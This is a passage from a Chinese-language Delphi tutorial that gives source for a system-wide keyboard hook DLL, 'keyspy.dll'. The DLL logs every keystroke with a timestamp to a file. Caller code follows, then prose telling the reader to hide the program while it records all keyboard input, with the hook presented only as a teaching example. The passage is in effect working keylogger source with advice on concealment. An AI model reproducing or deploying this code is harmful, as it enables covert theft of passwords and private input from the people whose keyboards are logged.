DLL_PROCESS_DETACH:
begin
try
UnMapViewOfFile(rHookRec);
CloseHandle(hMapObject);
except
end;
end;
end;
end;
procedure keyhookexit;far;
begin
if hNexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit;
end;
function endkeyhook:bool;export;
begin
if hNexthookproc<>0 then
begin
unhookwindowshookex(hNexthookproc);
hNexthookproc:=0;
messagebeep(0);
end;
result:=hNexthookproc=0;
MainHandle:=0;
end;
function Setkeyhook:bool;export;
begin
hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
result:=hNexthookproc<>0;
end;
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
var
s:Tstringlist;
begin
if icode<0 then
begin
result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
exit;
end;
if lparam<0 then
begin
exit;
end;
s:=TStringlist.Create;
if FileExists(afilename) then
s.LoadFromFile(afilename);
//将敲打的键盘字符保存到文件中
s.Add(formatdatetime(''YYYYMMDD hh:nn:ss:zzz: '',now) + char(wParam) );
s.SaveToFile(afilename);
s.Free;
result:=0;
end;
Dll的Project文件中定义如下
exports
setkeyhook index 1,
endkeyhook index 2,
SetMainHandle index 3;
begin
hNexthookproc:=0;
procsaveexit:=exitproc;
DllProc := @EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end.
这样DLL就定义好了,接下来就是画个界面
function setkeyhook:bool;external ''keyspy.dll'';
function endkeyhook:bool;external ''keyspy.dll'';
procedure SetMainHandle(Handle: HWND); external ''keyspy.dll'';
//开始捕获键盘
SetMainHandle(handle);
setkeyhook
//中止捕获键盘
endkeyhook
然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。
另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。